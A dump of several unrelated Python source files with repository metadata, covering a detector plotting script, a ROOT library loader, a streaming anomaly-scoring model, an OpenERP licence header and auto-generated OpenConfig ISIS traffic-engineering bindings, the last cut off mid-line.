b5211a98800c2d271569b775bc1e48224ee89313

961d33152af298eb4cbd311d9d185683ba992199

refs/heads/master

2023-07-01T14:26:11.152686

2021-07-30T10:06:14

262,325,338

0

null

UTF-8

Python

false

1,030

py

import argparse import threading import pyqtgraph from pyqtgraph.Qt import QtGui, QtCore import sls.client class QDetector(QtCore.QObject): newFrame = QtCore.Signal(object) def run(options): app = QtGui.QApplication([]) plot = pyqtgraph.plot() curve = plot.plot() plot.show() mythen = sls.client.Detector(options.host) mythen.nb_frames = options.nb_frames mythen.exposure_time = options.exposure_time qmythen = QDetector() def acquire(curve): for frame in mythen.acquire(): qmythen.newFrame.emit(frame) qmythen.newFrame.connect(curve.setData) th = threading.Thread(target=acquire, args=(curve,), daemon=True) th.start() app.exec_() def main(args=None): p = argparse.ArgumentParser() p.add_argument('--nb-frames', default=10, type=int) p.add_argument('--exposure-time', default=0.1, type=float) p.add_argument('--host', default='localhost') opts = p.parse_args(args) run(opts) if __name__ == '__main__': main()

[ "coutinhotiago@gmail.com" ]

coutinhotiago@gmail.com

157381b94215aba0360d4819a7269f9adf6b9595

1025bc2aa5aaa40970ad1a51d8d0b1202a1ea11e

/Utilities/python/rootbindings.py

675032fc480bd291fe0ad8c11edb5d6bdaab6d34

[]

no_license

uwcms/FinalStateAnalysis

f2be318546728621676a4b90ed2678b2560c94e6

bcb164a8e27d459a9ac438780f6c8730d3e856bf

refs/heads/miniAOD_9_4_0

2022-11-09T01:28:52.199025

2019-03-15T19:25:10

5,201,989

5

32

null

2020-11-19T17:02:32

2012-07-27T07:51:18

Python

UTF-8

Python

false

259

py

import ROOT ## ROOT.gSystem.Load("libFinalStateAnalysisStatTools") ## ROOT.gSystem.Load('libFinalStateAnalysisTagAndProbe') ROOT.gSystem.Load('libFinalStateAnalysisUtilities') #ROOT.gSystem.Load('$CMSSW_BASE/lib/$SCRAM_ARCH/libHiggsAnalysisCombinedLimit.so')

[ "Silvia.Taroni@cern.ch" ]

Silvia.Taroni@cern.ch

6b5df35f09ed114b1f7f501d8fe3b0dc271e5838

03778e9985613ffccd8e2076ed51e86e86f997b6

/pysad/models/standard_absolute_deviation.py

169b9170f9ec8f4192f841274f51c846c746ec8d

[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]

permissive

isci1102/pysad

e3fe263a075fc51ee2bce548da458222ec5a3b7a

dff2ff38258eb8a85c9d34cf5f0b876fc1dc9ede

refs/heads/master

2023-03-18T03:33:19.345541

2020-09-08T01:32:29

null

0

null

UTF-8

Python

false

2,185

py

from pysad.core.base_model import BaseModel from pysad.statistics.average_meter import AverageMeter from pysad.statistics.median_meter import MedianMeter from pysad.statistics.variance_meter import VarianceMeter class StandardAbsoluteDeviation(BaseModel): """The model that assigns the deviation from the mean (or median) and divides with the standard deviation. This model is based on the 3-Sigma rule described in :cite:`hochenbaum2017automatic`. substracted_statistic (str): The statistic to be substracted for scoring. It is either "mean" or "median". (Default="mean"). absolute (bool): Whether to output score's absolute value. (Default=True). """ def __init__(self, substracted_statistic="mean", absolute=True): self.absolute = absolute self.variance_meter = VarianceMeter() if substracted_statistic == "median": self.sub_meter = MedianMeter() elif substracted_statistic == "mean": self.sub_meter = AverageMeter() else: raise ValueError( "Unknown substracted_statistic value! Please choose median or mean.") def fit_partial(self, X, y=None): """Fits the model to next instance. Args: X (np.float array of shape (1,)): The instance to fit. Note that this model is univariate. y (int): Ignored since the model is unsupervised (Default=None). Returns: object: Returns the self. """ assert len(X) == 1 # Only for time series self.variance_meter.update(X) self.sub_meter.update(X) return self def score_partial(self, X): """Scores the anomalousness of the next instance. Args: X (np.float array of shape (1,)): The instance to score. Higher scores represent more anomalous instances whereas lower scores correspond to more normal instances. Returns: float: The anomalousness score of the input instance. """ sub = self.sub_meter.get() dev = self.variance_meter.get()**0.5 score = (X - sub) / (dev + 1e-10) return abs(score) if self.absolute else score

[ "yilmazselimfirat@gmail.com" ]

yilmazselimfirat@gmail.com

1472d32a4b5d251e86c90bb8047f947c76ee319e

31ba27461d50fcd85027318eacefa04d828feb4b

/addons/web-addons/__unported__/web_percent/__init__.py

658c115ad64576f6692ee844b890b5666bbf1ba0

[]

no_license

TinPlusIT05/tms

5f258cec903d5bf43c26b93fc112fce0b32de828

673dd0f2a7c0b69a984342b20f55164a97a00529

refs/heads/master

2022-12-04T02:11:54.770745

2019-09-23T07:18:11

210,278,672

0

null

2022-11-22T00:30:37

2019-09-23T06:18:48

Python

UTF-8

Python

false

996

py

# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2014 TeMPO Consulting (<http://www.tempo-consulting.fr>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ##############################################################################

[ "Tinplusit05@gmail.com" ]

Tinplusit05@gmail.com

c9e7539b202b1738a137cfccd61c1f9be308fe28

70cdf0741a22c678401a306229003bf036ffe5a6

/ocbind/network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/__init__.py

a68fd130b13467316ffbc9fb71519d044dcfca4e

[]

no_license

zsblevins/nanog81-hackathon

5001e034339d6b0c6452ae2474f06916bcd715cf

1b64fd207dd69837f947094fbd6d6c1cea3a1070

refs/heads/main

2023-03-03T09:39:28.460000

2021-02-15T13:41:38

336,698,856

2

0

null

UTF-8

Python

false

51,682

py

# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListType from pyangbind.lib.yangtypes import YANGDynClass from pyangbind.lib.yangtypes import ReferenceType from pyangbind.lib.base import PybindBase from collections import OrderedDict from decimal import Decimal from bitarray import bitarray import six # PY3 support of some PY2 keywords (needs improved) if six.PY3: import builtins as __builtin__ long = int elif six.PY2: import __builtin__ class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-network-instance - based on the path /network-instances/network-instance/protocols/protocol/isis/levels/level/traffic-engineering/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This container defines ISIS TE state information. """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__ipv4_router_id','__ipv6_router_id',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['network-instances', 'network-instance', 'protocols', 'protocol', 'isis', 'levels', 'level', 'traffic-engineering', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) def _get_ipv4_router_id(self): """ Getter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ return self.__ipv4_router_id def _set_ipv4_router_id(self, v, load=False): """ Setter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv4_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv4_router_id() directly. YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv4_router_id must be of a type compatible with inet:ipv4-address-no-zone""", 'defined-type': "inet:ipv4-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False)""", }) self.__ipv4_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv4_router_id(self): self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) def _get_ipv6_router_id(self): """ Getter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ return self.__ipv6_router_id def _set_ipv6_router_id(self, v, load=False): """ Setter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv6_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv6_router_id() directly. YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv6_router_id must be of a type compatible with inet:ipv6-address-no-zone""", 'defined-type': "inet:ipv6-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False)""", }) self.__ipv6_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv6_router_id(self): self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) enabled = __builtin__.property(_get_enabled) ipv4_router_id = __builtin__.property(_get_ipv4_router_id) ipv6_router_id = __builtin__.property(_get_ipv6_router_id) _pyangbind_elements = OrderedDict([('enabled', enabled), ('ipv4_router_id', ipv4_router_id), ('ipv6_router_id', ipv6_router_id), ]) class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-network-instance-l2 - based on the path /network-instances/network-instance/protocols/protocol/isis/levels/level/traffic-engineering/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This container defines ISIS TE state information. """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__ipv4_router_id','__ipv6_router_id',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['network-instances', 'network-instance', 'protocols', 'protocol', 'isis', 'levels', 'level', 'traffic-engineering', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) def _get_ipv4_router_id(self): """ Getter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ return self.__ipv4_router_id def _set_ipv4_router_id(self, v, load=False): """ Setter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv4_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv4_router_id() directly. YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv4_router_id must be of a type compatible with inet:ipv4-address-no-zone""", 'defined-type': "inet:ipv4-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False)""", }) self.__ipv4_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv4_router_id(self): self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) def _get_ipv6_router_id(self): """ Getter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ return self.__ipv6_router_id def _set_ipv6_router_id(self, v, load=False): """ Setter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv6_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv6_router_id() directly. YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv6_router_id must be of a type compatible with inet:ipv6-address-no-zone""", 'defined-type': "inet:ipv6-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False)""", }) self.__ipv6_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv6_router_id(self): self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) enabled = __builtin__.property(_get_enabled) ipv4_router_id = __builtin__.property(_get_ipv4_router_id) ipv6_router_id = __builtin__.property(_get_ipv6_router_id) _pyangbind_elements = OrderedDict([('enabled', enabled), ('ipv4_router_id', ipv4_router_id), ('ipv6_router_id', ipv6_router_id), ]) class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-network-instance - based on the path /network-instances/network-instance/protocols/protocol/isis/levels/level/traffic-engineering/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This container defines ISIS TE state information. """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__ipv4_router_id','__ipv6_router_id',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': 